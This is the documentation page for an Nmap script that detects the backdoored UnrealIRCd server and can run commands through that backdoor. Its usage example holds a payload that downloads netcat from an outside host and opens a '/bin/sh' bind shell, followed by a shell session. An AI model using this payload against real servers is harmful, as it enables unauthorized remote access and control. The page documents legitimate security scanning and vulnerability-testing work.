Script `irc-unrealircd-backdoor`

Script types: portrule
Categories: exploit, intrusive, malware, vuln
Download: https://svn.nmap.org/nmap/scripts/irc-unrealircd-backdoor.nse

Script Summary

Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond.

The irc-unrealircd-backdoor.command script argument can be used to run an arbitrary command on the remote system. Because of the nature of this vulnerability (the output is never returned) we have no way of getting the output of the command. It can, however, be used to start a netcat listener as demonstrated here:

  $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
  $ ncat -vv localhost 4444
  Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
  Ncat: Connected to 127.0.0.1:4444.
  pwd
  /home/ron/downloads/Unreal3.2-bad
  whoami
  ron

Metasploit can also be used to exploit this vulnerability.

In addition to running arbitrary commands, the irc-unrealircd-backdoor.kill script argument can be passed, which simply kills the UnrealIRCd process.

Reference:

Script Arguments

irc-unrealircd-backdoor.kill: If set to 1 or true, kill the backdoored UnrealIRCd running.
irc-unrealircd-backdoor.wait: Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value).
irc-unrealircd-backdoor.command: An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern %IP% will be replaced with the ip address of the target host.

Example Usage

nmap -sV --script=irc-unrealircd-backdoor <target>

Script Output

PORT     STATE SERVICE
6667/tcp open  irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277

Requires

Authors:

Vlatko Kosturjak
Ron Bowes